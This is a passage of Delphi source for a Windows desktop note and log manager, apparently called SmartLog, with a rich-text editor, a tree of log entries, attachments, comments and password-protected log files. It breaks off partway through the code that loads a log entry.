procedure GetDesktopImg(Bmp: TBitmap; R: TRect);
{对桌面区域图象作处理,使其看起来像一块玻璃且带有一点阴影}
procedure EffectHandle(WndBmp, HintBmp: TBitmap);
public
constructor Create(Aowner: TComponent); override;
destructor Destroy; override;
procedure ActivateHint(Rect: TRect; const AHint: string); override;
end;
TRichEdit20 = class(TRichEdit)
public
procedure CreateParams(var Params: TCreateParams); override;
end;
TFrmSmartLog = class(TForm)
Ruler: TPanel;
FirstInd: TLabel;
LeftInd: TLabel;
RulerLine: TBevel;
RightInd: TLabel;
Bevel1: TBevel;
StatusBar: TStatusBar;
StandardToolBar: TToolBar;
ToolButton1: TToolButton;
OpenButton: TToolButton;
SaveButton: TToolButton;
PrintButton: TToolButton;
ToolButton5: TToolButton;
CutButton: TToolButton;
CopyButton: TToolButton;
PasteButton: TToolButton;
UndoButton: TToolButton;
ToolButton10: TToolButton;
FontName: TComboBox;
ToolButton11: TToolButton;
FontSize: TEdit;
UpDown1: TUpDown;
ToolButton2: TToolButton;
BoldButton: TToolButton;
ItalicButton: TToolButton;
UnderlineButton: TToolButton;
ToolButton16: TToolButton;
LeftAlign: TToolButton;
CenterAlign: TToolButton;
RightAlign: TToolButton;
ToolButton20: TToolButton;
BulletsButton: TToolButton;
MainMenu: TMainMenu;
FileMenu: TMenuItem;
FileNewItem: TMenuItem;
FileOpenItem: TMenuItem;
FileSaveItem: TMenuItem;
N1: TMenuItem;
FilePrintItem: TMenuItem;
N4: TMenuItem;
FileExitItem: TMenuItem;
EditMenu: TMenuItem;
EditUndoItem: TMenuItem;
N2: TMenuItem;
EditCutItem: TMenuItem;
EditCopyItem: TMenuItem;
EditPasteItem: TMenuItem;
N5: TMenuItem;
miEditFont: TMenuItem;
HelpMenu: TMenuItem;
HelpAboutItem: TMenuItem;
OpenDialog: TOpenDialog;
SaveDialog: TSaveDialog;
PrintDialog: TPrintDialog;
FontDialog1: TFontDialog;
ToolbarImages: TImageList;
ActionList1: TActionList;
FileNewCmd: TAction;
FileOpenCmd: TAction;
FileSaveCmd: TAction;
FilePrintCmd: TAction;
FileExitCmd: TAction;
FileSaveAsCmd: TAction;
ActionList2: TActionList;
EditUndoCmd: TAction;
EditCutCmd: TAction;
EditCopyCmd: TAction;
EditPasteCmd: TAction;
EditFontCmd: TAction;
pnlClient: TPanel;
pnlEditor: TPanel;
pnlList: TPanel;
Splitter1: TSplitter;
tvList: TTreeView;
pmTree: TPopupMenu;
miCreateChildNode: TMenuItem;
acTree: TActionList;
acCreateChildNode: TAction;
Panel1: TPanel;
lvAffix: TListView;
Splitter2: TSplitter;
ListViewImageList: TImageList;
pmListView: TPopupMenu;
miSaveAs: TMenuItem;
miAddAffix: TMenuItem;
TreeImageList: TImageList;
miDelAffix: TMenuItem;
miDelLog: TMenuItem;
EditInsertImage: TAction;
N3: TMenuItem;
miCreateTopNode: TMenuItem;
fdText: TFindDialog;
ImageList1: TImageList;
pmEditor: TPopupMenu;
miCopy: TMenuItem;
miCut: TMenuItem;
Paste1: TMenuItem;
miUndo: TMenuItem;
N6: TMenuItem;
miWisdom: TMenuItem;
miComment: TMenuItem;
pnlAffix: TPanel;
Label1: TLabel;
pnlInfo: TPanel;
reComment: TRichEdit;
Label2: TLabel;
Label3: TLabel;
lblCreateDate: TLabel;
lblModiDate: TLabel;
miDeleteComment: TMenuItem;
ToolButton3: TToolButton;
edtSearchText: TEdit;
sbSearch: TSpeedButton;
miFind: TMenuItem;
miTool: TMenuItem;
miAccount: TMenuItem;
miAuto: TMenuItem;
miSetPwd: TMenuItem;
ToolButton4: TToolButton;
N7: TMenuItem;
miRefresh: TMenuItem;
miWorkFlow: TMenuItem;
miSync: TMenuItem;
procedure EditCopy(Sender: TObject);
procedure EditCut(Sender: TObject);
procedure EditPaste(Sender: TObject);
procedure EditUndo(Sender: TObject);
procedure FileExit(Sender: TObject);
procedure FileNew(Sender: TObject);
procedure FileOpen(Sender: TObject);
procedure FilePrint(Sender: TObject);
procedure FileSave(Sender: TObject);
procedure FileSaveAs(Sender: TObject);
procedure FontNameChange(Sender: TObject);
procedure FontSizeChange(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FormCreate(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure AlignButtonClick(Sender: TObject);
procedure BoldButtonClick(Sender: TObject);
procedure BulletsButtonClick(Sender: TObject);
procedure FirstIndMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure GetFontNames;
procedure HelpAbout(Sender: TObject);
procedure ItalicButtonClick(Sender: TObject);
procedure LeftIndMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure PerformFileOpen(const AFileName: string);
procedure RichEditChange(Sender: TObject);
procedure RightIndMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure RulerItemMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure RulerItemMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure RulerResize(Sender: TObject);
procedure SelectFont(Sender: TObject);
procedure SelectionChange(Sender: TObject);
procedure ActionList2Update(Action: TBasicAction;
var Handled: Boolean);
procedure CheckFileSave;
function CurrText: TTextAttributes;
procedure SetFileName(const FileName: String);
procedure SetModified(Value: Boolean);
procedure SetupRuler;
procedure ShowHint(Sender: TObject);
procedure UnderlineButtonClick(Sender: TObject);
procedure UpdateCursorPos;
procedure WMDropFiles(var Msg: TWMDropFiles); message WM_DROPFILES;
procedure SetEditRect;
procedure acCreateChildNodeExecute(Sender: TObject);
procedure lvAffixGetImageIndex(Sender: TObject; Item: TListItem);
procedure FormDestroy(Sender: TObject);
procedure miSaveAsClick(Sender: TObject);
procedure pmListViewPopup(Sender: TObject);
procedure miAddAffixClick(Sender: TObject);
procedure tvListGetImageIndex(Sender: TObject; Node: TTreeNode);
procedure tvListGetSelectedIndex(Sender: TObject; Node: TTreeNode);
procedure tvListClick(Sender: TObject);
procedure tvListEdited(Sender: TObject; Node: TTreeNode;
var S: String);
procedure miCreateChildNodeClick(Sender: TObject);
procedure miDelAffixClick(Sender: TObject);
procedure miDelLogClick(Sender: TObject);
procedure tvListChange(Sender: TObject; Node: TTreeNode);
procedure EditInsertImageExecute(Sender: TObject);
procedure miCreateTopNodeClick(Sender: TObject);
procedure fdTextFind(Sender: TObject);
procedure fdTextShow(Sender: TObject);
procedure pmEditorPopup(Sender: TObject);
procedure miWisdomClick(Sender: TObject);
procedure tvListDragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
procedure tvListEndDrag(Sender, Target: TObject; X, Y: Integer);
procedure miCommentClick(Sender: TObject);
procedure EditorKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure miDeleteCommentClick(Sender: TObject);
procedure edtSearchTextEnter(Sender: TObject);
procedure sbSearchClick(Sender: TObject);
procedure miFindClick(Sender: TObject);
procedure miAccountClick(Sender: TObject);
procedure miAutoClick(Sender: TObject);
procedure miSetPwdClick(Sender: TObject);
procedure ToolButton4Click(Sender: TObject);
procedure miRefreshClick(Sender: TObject);
procedure miWorkFlowClick(Sender: TObject);
procedure miSyncClick(Sender: TObject);
private
FFileName: string;
FSearchText: string;
FSearchType: TSearchTypes;
FIconList: TStringList;
FUpdating: Boolean;
FDragOfs: Integer;
FModified: Boolean;
FDragging: Boolean;
FLogComments: PLOG_COMMENT_ITEM;
FLogCommentCount: integer;
FPreSelNode: TTreeNode;
FMsgHotKeyId: Cardinal;
Editor: TRichEdit20;
function InitLogFile(FileName: string): Boolean;
procedure LoadNodeChild(Node: TTreeNode);
procedure LoadNodeLog(Node: TTreeNode);
procedure TreeViewSelChg;
procedure GetCommentById(const nLogId: integer);
procedure SaveNodeLog(Node: TTreeNode);
function GetSearchNode: TTreeNode;
procedure InsertImage(FileName: string);
procedure RefreshFormCaption(Node: TTreeNode);
function GetCommentIdByCurrSel(const nSelStart: integer): integer;
function CheckIsSpecLogId(const nLogId: DWORD): Boolean;
function RegisterHotKey(const HotKey: string): Boolean;
procedure StringHotKeyToWord(const Str: string;
var fsModifier: Cardinal; var nKey: Word);
procedure WMHOTKEY(var Msg: TMessage); message WM_HOTKEY;
{ Private declarations }
public
{ Public declarations }
end;
var
FrmSmartLog: TFrmSmartLog;
implementation
uses
RichEdit, ComObj, uAddMemo, uFrmComment, uSetPwd, SyncPath,
uFrmAccount, uFrmAuto, uFrmWorkFlow, uFrmInputPwd, ActiveX, ShellApi;
var
FRichEditModule: Cardinal = 0;
type
_ReObject = record
cbStruct: DWORD; { Size of structure }
cp: ULONG; { Character position of object }
clsid: TCLSID; { Class ID of object }
poleobj: IOleObject; { OLE object interface }
pstg: IStorage; { Associated storage interface }
polesite: IOleClientSite; { Associated client site interface }
sizel: TSize; { Size of object (may be 0,0) }
dvAspect: Longint; { Display aspect to use }
dwFlags: DWORD; { Object status flags }
dwUser: DWORD; { Dword for user's use }
end;
TReObject = _ReObject;
IRichEditOle = interface(IUnknown)
['{00020d00-0000-0000-c000-000000000046}']
function GetClientSite(out clientSite: IOleClientSite): HResult; stdcall;
function GetObjectCount: HResult; stdcall;
function GetLinkCount: HResult; stdcall;
function GetObject(iob: Longint; out reobject: TReObject;
dwFlags: DWORD): HResult; stdcall;
function InsertObject(var reobject: TReObject): HResult; stdcall;
function ConvertObject(iob: Longint; rclsidNew: TIID;
lpstrUserTypeNew: LPCSTR): HResult; stdcall;
function ActivateAs(rclsid: TIID; rclsidAs: TIID): HResult; stdcall;
function SetHostNames(lpstrContainerApp: LPCSTR;
lpstrContainerObj: LPCSTR): HResult; stdcall;
function SetLinkAvailable(iob: Longint; fAvailable: BOOL): HResult; stdcall;
function SetDvaspect(iob: Longint; dvaspect: DWORD): HResult; stdcall;
function HandsOffStorage(iob: Longint): HResult; stdcall;
function SaveCompleted(iob: Longint; const stg: IStorage): HResult; stdcall;
function InPlaceDeactivate: HResult; stdcall;
function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;
function GetClipboardData(var chrg: TCharRange; reco: DWORD;
out dataobj: IDataObject): HResult; stdcall;
function ImportDataObject(dataobj: IDataObject; cf: TClipFormat;
hMetaPict: HGLOBAL): HResult; stdcall;
end;
resourcestring
sSaveChanges = 'Save changes to %s?';
sOverWrite = 'OK to overwrite %s';
sUntitled = 'Untitled';
sModified = 'Modified';
sColRowInfo = 'Line: %3d Col: %3d';
const
RulerAdj = 4/3;
GutterWid = 6;
REO_CP_SELECTION = $FFFFFFFF;
REO_BELOWBASELINE = $00000002;
REO_STATIC = $40000000;
REO_RESIZABLE = $00000001;
REO_GETOBJ_ALL_INTERFACES = $00000007;
IID_IOleObject: TGUID = (
D1:$00000112;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));
{$R *.dfm}
procedure TFrmSmartLog.SelectionChange(Sender: TObject);
var
nCommentId: integer;
pBuf: PChar;
nBufSize: integer;
Stream: TMemoryStream;
begin
with Editor.Paragraph do
try
FUpdating := True;
FirstInd.Left := Trunc(FirstIndent*RulerAdj)-4+GutterWid;
LeftInd.Left := Trunc((LeftIndent+FirstIndent)*RulerAdj)-4+GutterWid;
RightInd.Left := Ruler.ClientWidth-6-Trunc((RightIndent+GutterWid)*RulerAdj);
BoldButton.Down := fsBold in Editor.SelAttributes.Style;
ItalicButton.Down := fsItalic in Editor.SelAttributes.Style;
UnderlineButton.Down := fsUnderline in Editor.SelAttributes.Style;
BulletsButton.Down := Boolean(Numbering);
FontSize.Text := IntToStr(Editor.SelAttributes.Size);
FontName.Text := Editor.SelAttributes.Name;
case Ord(Alignment) of
0: LeftAlign.Down := True;
1: RightAlign.Down := True;
2: CenterAlign.Down := True;
end;
UpdateCursorPos;
finally
FUpdating := False;
end;
nCommentId := GetCommentIdByCurrSel(Editor.SelStart);
reComment.Clear;
if nCommentId > 0 then
begin
nBufSize := 0;
pBuf := nil;
if LM_GetCommentText(nCommentId, @pBuf, @nBufSize) then
begin
Stream := TMemoryStream.Create;
try
Stream.Write(pBuf^, nBufSize);
Stream.Position := 0;
reComment.PlainText := False;
reComment.Lines.LoadFromStream(Stream);
finally
Stream.Free;
end;
LM_DeleteString(pBuf);
nBufSize := 0;
end;
end;
end;
function TFrmSmartLog.CurrText: TTextAttributes;
begin
if Editor.SelLength > 0 then
Result := Editor.SelAttributes
else
Result := Editor.DefAttributes;
end;
function EnumFontsProc(var LogFont: TLogFont; var TextMetric: TTextMetric;
FontType: Integer; Data: Pointer): Integer; stdcall;
begin
TStrings(Data).Add(LogFont.lfFaceName);
Result := 1;
end;
procedure TFrmSmartLog.GetFontNames;
var
DC: HDC;
begin
DC := GetDC(0);
EnumFonts(DC, nil, @EnumFontsProc, Pointer(FontName.Items));
ReleaseDC(0, DC);
FontName.Sorted := True;
end;
procedure TFrmSmartLog.SetFileName(const FileName: String);
begin
FFileName := FileName;
Caption := Format('%s - %s', [ExtractFileName(FileName), Application.Title]);
end;
procedure TFrmSmartLog.CheckFileSave;
begin
SaveNodeLog(tvList.Selected);
end;
procedure TFrmSmartLog.SetupRuler;
var
I: Integer;
S: String;
begin
SetLength(S, 201);
I := 1;
while I < 200 do
begin
S[I] := #9;
S[I+1] := '|';
Inc(I, 2);
end;
Ruler.Caption := S;
end;
procedure TFrmSmartLog.SetEditRect;
var
R: TRect;
begin
with Editor do
begin
R := Rect(GutterWid, 0, ClientWidth-GutterWid, ClientHeight);
SendMessage(Handle, EM_SETRECT, 0, Longint(@R));
end;
end;
{ Event Handlers }
procedure TFrmSmartLog.FormCreate(Sender: TObject);
begin
Editor := TRichEdit20.Create(Self);
Editor.Parent := pnlEditor;
Editor.PopupMenu := pmEditor;
Editor.ScrollBars := ssBoth;
Editor.Align := alClient;
Editor.OnKeyDown := EditorKeyDown;
Editor.OnChange := RichEditChange;
FLogComments := nil;
FLogCommentCount := 0;
Application.OnHint := ShowHint;
OpenDialog.InitialDir := ExtractFilePath(ParamStr(0));
SaveDialog.InitialDir := OpenDialog.InitialDir;
SetFileName(sUntitled);
GetFontNames;
SetupRuler;
SelectionChange(Self);
CurrText.Name := DefFontData.Name;
CurrText.Size := -MulDiv(DefFontData.Height, 72, Screen.PixelsPerInch);
FIconList := TStringList.Create;
FPreSelNode := nil;
RegisterHotKey('CTRL+ALT+M');
AddMemoFrm := TfrmAddMemo.Create(Self);
AddMemoFrm.Hide;
end;
procedure TFrmSmartLog.ShowHint(Sender: TObject);
begin
if Length(Application.Hint) > 0 then
begin
StatusBar.SimplePanel := True;
StatusBar.SimpleText := Application.Hint;
end else
StatusBar.SimplePanel := False;
end;
procedure TFrmSmartLog.FileNew(Sender: TObject);
var
Dlg: TSaveDialog;
begin
Dlg := TSaveDialog.Create(Self);
try
if Dlg.Execute then
begin
InitLogFile(Dlg.FileName);
Editor.Lines.Clear;
Editor.Modified := False;
SetModified(False);
end;
finally
Dlg.Free;
end;
end;
procedure TFrmSmartLog.PerformFileOpen(const AFileName: string);
begin
InitLogFile(AFileName);
SetFileName(AFileName);
Editor.SetFocus;
Editor.Modified := False;
SetModified(False);
end;
procedure TFrmSmartLog.FileOpen(Sender: TObject);
begin
CheckFileSave;
if OpenDialog.Execute then
begin
PerformFileOpen(OpenDialog.FileName);
Editor.ReadOnly := True;
end;
end;
procedure TFrmSmartLog.FileSave(Sender: TObject);
begin
fdText.Execute;
end;
procedure TFrmSmartLog.FileSaveAs(Sender: TObject);
begin
//
end;
procedure TFrmSmartLog.FilePrint(Sender: TObject);
begin
Editor.ReadOnly := False;
end;
procedure TFrmSmartLog.FileExit(Sender: TObject);
begin
Application.Terminate;;
end;
procedure TFrmSmartLog.EditUndo(Sender: TObject);
begin
with Editor do
if HandleAllocated then SendMessage(Handle, EM_UNDO, 0, 0);
end;
procedure TFrmSmartLog.EditCut(Sender: TObject);
begin
Editor.CutToClipboard;
end;
procedure TFrmSmartLog.EditCopy(Sender: TObject);
begin
Editor.CopyToClipboard;
end;
procedure TFrmSmartLog.EditPaste(Sender: TObject);
begin
Editor.PasteFromClipboard;
end;
procedure TFrmSmartLog.HelpAbout(Sender: TObject);
begin
//
end;
procedure TFrmSmartLog.SelectFont(Sender: TObject);
begin
FontDialog1.Font.Assign(Editor.SelAttributes);
if FontDialog1.Execute then
CurrText.Assign(FontDialog1.Font);
SelectionChange(Self);
Editor.SetFocus;
end;
procedure TFrmSmartLog.RulerResize(Sender: TObject);
begin
RulerLine.Width := Ruler.ClientWidth - (RulerLine.Left*2);
end;
procedure TFrmSmartLog.FormResize(Sender: TObject);
begin
SetEditRect;
SelectionChange(Sender);
end;
procedure TFrmSmartLog.FormPaint(Sender: TObject);
begin
SetEditRect;
end;
procedure TFrmSmartLog.BoldButtonClick(Sender: TObject);
begin
if FUpdating then Exit;
if BoldButton.Down then
CurrText.Style := CurrText.Style + [fsBold]
else
CurrText.Style := CurrText.Style - [fsBold];
end;
procedure TFrmSmartLog.ItalicButtonClick(Sender: TObject);
begin
if FUpdating then Exit;
if ItalicButton.Down then
CurrText.Style := CurrText.Style + [fsItalic]
else
CurrText.Style := CurrText.Style - [fsItalic];
end;
procedure TFrmSmartLog.FontSizeChange(Sender: TObject);
begin
if FUpdating then Exit;
CurrText.Size := StrToInt(FontSize.Text);
end;
procedure TFrmSmartLog.AlignButtonClick(Sender: TObject);
begin
if FUpdating then Exit;
Editor.Paragraph.Alignment := TAlignment(TControl(Sender).Tag);
end;
procedure TFrmSmartLog.FontNameChange(Sender: TObject);
begin
if FUpdating then Exit;
CurrText.Name := FontName.Items[FontName.ItemIndex];
end;
procedure TFrmSmartLog.UnderlineButtonClick(Sender: TObject);
begin
if FUpdating then Exit;
if UnderlineButton.Down then
CurrText.Style := CurrText.Style + [fsUnderline]
else
CurrText.Style := CurrText.Style - [fsUnderline];
end;
procedure TFrmSmartLog.BulletsButtonClick(Sender: TObject);
begin
if FUpdating then Exit;
Editor.Paragraph.Numbering := TNumberingStyle(BulletsButton.Down);
end;
procedure TFrmSmartLog.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
try
CheckFileSave;
except
CanClose := False;
end;
CanClose := False;
Application.Minimize;
end;
{ Ruler Indent Dragging }
procedure TFrmSmartLog.RulerItemMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
FDragOfs := (TLabel(Sender).Width div 2);
TLabel(Sender).Left := TLabel(Sender).Left+X-FDragOfs;
FDragging := True;
end;
procedure TFrmSmartLog.RulerItemMouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
begin
if FDragging then
TLabel(Sender).Left := TLabel(Sender).Left+X-FDragOfs
end;
procedure TFrmSmartLog.FirstIndMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
FDragging := False;
Editor.Paragraph.FirstIndent := Trunc((FirstInd.Left+FDragOfs-GutterWid) / RulerAdj);
LeftIndMouseUp(Sender, Button, Shift, X, Y);
end;
procedure TFrmSmartLog.LeftIndMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
FDragging := False;
Editor.Paragraph.LeftIndent := Trunc((LeftInd.Left+FDragOfs-GutterWid) / RulerAdj)-Editor.Paragraph.FirstIndent;
SelectionChange(Sender);
end;
procedure TFrmSmartLog.RightIndMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
FDragging := False;
Editor.Paragraph.RightIndent := Trunc((Ruler.ClientWidth-RightInd.Left+FDragOfs-2) / RulerAdj)-2*GutterWid;
SelectionChange(Sender);
end;
procedure TFrmSmartLog.UpdateCursorPos;
var
CharPos: TPoint;
begin
CharPos.Y := SendMessage(Editor.Handle, EM_EXLINEFROMCHAR, 0,
Editor.SelStart);
CharPos.X := (Editor.SelStart -
SendMessage(Editor.Handle, EM_LINEINDEX, CharPos.Y, 0));
Inc(CharPos.Y);
Inc(CharPos.X);
StatusBar.Panels[0].Text := Format(sColRowInfo, [CharPos.Y, CharPos.X]);
end;
procedure TFrmSmartLog.FormShow(Sender: TObject);
begin
UpdateCursorPos;
DragAcceptFiles(Handle, True);
RichEditChange(nil);
Editor.SetFocus;
{ Check if we should load a file from the command line }
if (ParamCount > 0) and FileExists(ParamStr(1)) then
PerformFileOpen(ParamStr(1));
end;
procedure TFrmSmartLog.WMDropFiles(var Msg: TWMDropFiles);
var
CFileName: array[0..MAX_PATH] of Char;
Po: TPoint;
Item: TListItem;
SelNode: TTreeNode;
ChildNode: TTreeNode;
nCount, i: integer;
nLogId, nParentId: integer;
NodeName, ExtName: string;
//
function PoInEditor: Boolean;
var
lt: TPoint;
begin
lt.X := Editor.Left;
lt.Y := Editor.Top;
lt := Editor.ClientToParent(lt, Self);
if (Po.X > lt.X) and (Po.Y > lt.Y) and (Po.X < (lt.X + Editor.Width))
and (Po.Y < (lt.Y + Editor.Height)) then
Result := True
else
Result := False;
end;
//
function PoInListView: Boolean;
var
lt: TPoint;
begin
lt.X := lvAffix.Left;
lt.Y := lvAffix.Top;
lt := lvAffix.ClientToParent(lt, Self);
if (Po.X > lt.X) and (Po.Y > lt.Y) and (Po.X < (lt.X + lvAffix.Width))
and (Po.Y < (lt.Y + lvAffix.Height)) then
Result := True
else
Result := False;
end;
//
function GetSelTreeNode: TTreeNode;
var
lt: TPoint;
begin
lt.X := tvList.Left;
lt.Y := tvList.Top;
if (Po.X > lt.X) and (Po.Y > lt.Y) and (Po.X < (lt.X + tvList.Width))
and (Po.Y < (lt.Y + tvList.Height)) then begin
lt := tvList.ParentToClient(Po, Self);
Result := tvList.GetNodeAt(lt.X, lt.y);
end else
Result := nil;
end;
begin
try
GetCursorPos(Po);
Po := ScreenToClient(Po);
if PoInEditor then
begin
if Editor.ReadOnly then
begin
ShowMessage('文件是可读状态,不能修改文件内容');
Exit;
end;
if DragQueryFile(Msg.Drop, 0, CFileName, MAX_PATH) > 0 then
begin
Editor.Lines.LoadFromFile(CFileName);
end;
end else if PoInListView then
begin
if Editor.ReadOnly then
begin
ShowMessage('文件是可读状态,不能修改文件内容');
Exit;
end;
nCount := DragQueryFile(Msg.Drop, $FFFFFFFF, CFileName, MAX_PATH);
for i := 0 to nCount - 1 do
begin
if DragQueryFile(Msg.Drop, i, CFileName, MAX_PATH) > 0 then
begin
Item := lvAffix.Items.Add;
Item.Data := nil;
Item.Caption := CFileName;
FModified := True;
end;
end;
end else begin
if DragQueryFile(Msg.Drop, 0, CFileName, MAX_PATH) > 0 then
begin
SelNode := GetSelTreeNode;
if SelNode <> nil then
begin
NodeName := ExtractFileName(CFileName);
ExtName := ExtractFileExt(NodeName);
NodeName := Copy(NodeName, 1, Length(NodeName) - Length(ExtName));
nLogId := 0;
if SelNode.Data <> nil then
nParentId := integer(SelNode.Data)
else
nParentId := 0;
if LM_AddLog(@nLogId, nParentId, PChar(NodeName)) then
begin
ChildNode := tvList.Items.AddChildObject(SelNode, NodeName, Pointer(nLogId));
tvList.Select(ChildNode);
TreeViewSelChg;
Editor.ReadOnly := False;
Editor.Lines.LoadFromFile(CFileName);
end else
ShowMessage('增加日志失败');
end else begin
CheckFileSave;
PerformFileOpen(CFileName);
end;
end;
end;
finally
DragFinish(Msg.Drop);
end;
Msg.Result := 0;
end;
procedure TFrmSmartLog.RichEditChange(Sender: TObject);
begin
SetModified(Editor.Modified);
end;
procedure TFrmSmartLog.SetModified(Value: Boolean);
begin
if Value then StatusBar.Panels[1].Text := sModified
else StatusBar.Panels[1].Text := '';
end;
procedure TFrmSmartLog.ActionList2Update(Action: TBasicAction;
var Handled: Boolean);
begin
{ Update the status of the edit commands }
EditCutCmd.Enabled := Editor.SelLength > 0;
EditCopyCmd.Enabled := EditCutCmd.Enabled;
if Editor.HandleAllocated then
begin
EditUndoCmd.Enabled := Editor.Perform(EM_CANUNDO, 0, 0) <> 0;
EditPasteCmd.Enabled := Editor.Perform(EM_CANPASTE, 0, 0) <> 0;
end;
end;
procedure TFrmSmartLog.acCreateChildNodeExecute(Sender: TObject);
begin
//
end;
procedure TFrmSmartLog.lvAffixGetImageIndex(Sender: TObject;
Item: TListItem);
var
FileName: string;
ExtName: string;
Idx: integer;
FileInfo: SHFILEINFO;
Icon: TIcon;
begin
if TListView(Item.ListView).LargeImages <> nil then
begin
FileName := Item.Caption;
ExtName := ExtractFileExt(FileName);
Idx := FIconList.IndexOf(ExtName);
if Idx >= 0 then
begin
Item.ImageIndex := Integer(FIconList.Objects[Idx]);
end else begin
FillChar(FileInfo, SizeOf(SHFILEINFO), 0);
SHGetFileInfo(PChar(FileName), FILE_ATTRIBUTE_NORMAL, FileInfo,
SizeOf(SHFILEINFO), SHGFI_USEFILEATTRIBUTES or SHGFI_ICON or SHGFI_LARGEICON);
if FileInfo.hIcon > 0 then begin
Icon := TIcon.Create;
Icon.Handle := FileInfo.hIcon;
Idx := TListView(Item.ListView).LargeImages.AddIcon(Icon);
Item.ImageIndex := Idx;
FIconList.AddObject(ExtName, TObject(Idx));
end;
end;
end;
end;
procedure TFrmSmartLog.FormDestroy(Sender: TObject);
begin
LM_DeleteCommentItems(FLogComments);
FLogCommentCount := 0;
SaveNodeLog(tvList.Selected);
FIconList.Free;
Windows.UnregisterHotKey(Handle, FMsgHotKeyId);
AddMemoFrm.Free;
end;
procedure TFrmSmartLog.miSaveAsClick(Sender: TObject);
var
Dlg: TSaveDialog;
FileName: string;
begin
if lvAffix.Selected <> nil then
begin
Dlg := TSaveDialog.Create(Self);
try
if Dlg.Execute then
begin
FileName := Dlg.FileName;
if lvAffix.Selected.Data <> nil then
begin
if LM_SaveAsAffix(integer(lvAffix.Selected.Data), PChar(FileName)) then
ShowMessage('另存文件成功')
else
ShowMessage('另存文件失败');
end else begin
if CopyFile(PChar(lvAffix.Selected.Caption), PChar(FileName), True) then
ShowMessage('另存文件成功')
else
ShowMessage('另存文件失败');
end;
end;
finally
Dlg.Free;
end;
end;
end;
procedure TFrmSmartLog.pmListViewPopup(Sender: TObject);
begin
if lvAffix.Selected = nil then
miSaveAs.Enabled := False
else
miSaveAs.Enabled := True;
end;
procedure TFrmSmartLog.miAddAffixClick(Sender: TObject);
var
Dlg: TOpenDialog;
FileName: string;
Item: TListItem;
begin
Dlg := TOpenDialog.Create(Self);
try
if Dlg.Execute then
begin
FileName := Dlg.FileName;
Item := lvAffix.Items.Add;
Item.Caption := FileName;
Item.Data := nil;
FModified := True;
end;
finally
Dlg.Free;
end;
end;
function TFrmSmartLog.InitLogFile(FileName: string): Boolean;
var
bSucc: Boolean;
i: integer;
str: string;
begin
tvList.Items.Clear;
FPreSelNode := nil;
if LM_InitLogMgr(PChar(FileName)) then
begin
bSucc := True;
if not LM_CheckPassword(PChar('')) then
begin
bSucc := False;
for i := 0 to 3 do
begin
str := InputPwd;
if str = '' then
break;
if LM_CheckPassword(PChar(str)) then
begin
bSucc := True;
break;
end else
ShowMessage('密码错误');
end;
end;
if bSucc then
begin
tvList.Items.AddChildObjectFirst(nil, WISDOM_TREE_TITLE, Pointer(WISDOM_TREE_NODE_ID));
LoadNodeChild(nil);
Result := True;
end else begin
LM_DestroyLogMgr;
Result := False;
end;
end else begin
ShowMessage('初始化日志文件失败');
Result := False;
end;
end;
procedure TFrmSmartLog.tvListGetImageIndex(Sender: TObject;
Node: TTreeNode);
begin
if Node.Count > 0 then
begin
if Node.Expanded then
Node.ImageIndex := 1
else
Node.ImageIndex := 2;
end else
Node.ImageIndex := 0;
end;
procedure TFrmSmartLog.tvListGetSelectedIndex(Sender: TObject;
Node: TTreeNode);
begin
if Node.Count > 0 then
begin
if Node.Expanded then
Node.ImageIndex := 1
else
Node.ImageIndex := 2;
end else
Node.ImageIndex := 0;
end;
procedure TFrmSmartLog.TreeViewSelChg;
var
Node: TTreeNode;
begin
Node := tvList.Selected;
if Node <> nil then
begin
if Node.Count = 0 then
begin
LoadNodeChild(Node);
end;
LoadNodeLog(Node);
end;
end;
procedure TFrmSmartLog.LoadNodeChild(Node: TTreeNode);
var
pItems, p: PLOG_NODE_ITEM;
nCount: integer;
i: integer;
ParentId: integer;
begin
pItems := nil;
nCount := 0;
if Node = nil then
ParentId := 0
else
ParentId := integer(Node.Data);
if LM_GetChildNodes(ParentId, @pItems, @nCount) then
begin
if pItems <> nil then
begin
p := pItems;
for i := 0 to nCount - 1 do
begin
tvList.Items.AddChildObject(Node, p^.szNodeName, Pointer(p^.nNodeId));
Inc(p);
end;
LM_DeleteNodeItems(pItems);
end;
end;
end;
procedure TFrmSmartLog.LoadNodeLog(Node: TTreeNode);
var
szTitle: PChar;
szContent: PChar;
nBufSize: integer;
nReadTimes: integer;
nCurrLine: integer;
szCreateDate: string;
szLastModiDate: string;
Affixs, pItem: PInteger;
nAffixCount: integer;
i: integer;
Item: TListItem;
szFileName: string;
Stream: TMemoryStream;
pWisdoms, p: PWISDOM_ITEM;
nCount: integer;
begin
if FPreSelNode <> nil then
SaveNodeLog(FPreSelNode);
if (Node <> nil) and (Node <> FPreSelNode) then
begin
RefreshFormCaption(Node);
szTitle := nil;
szContent := nil;
nBufSize := 0;
SetLength(szCreateDate, 256);
SetLength(szLastModiDate, 256);
FillChar(szCreateDate[1], 256, 0);
FillChar(szLastModiDate[1], 256, 0);
SetLength(szFileName, 256);
FillChar(szFileName[1], 256, 0);
lvAffix.Clear;
case DWORD(Node.Data) of
WISDOM_TREE_NODE_ID:
begin
//
Editor.Clear;
if LM_GetAllWisdom(@pWisdoms, @nCount) then
begin
p := pWisdoms;
for i := 0 to nCount - 1 do
begin
Editor.SelStart := -1;
if (i mod 2) = 0 then
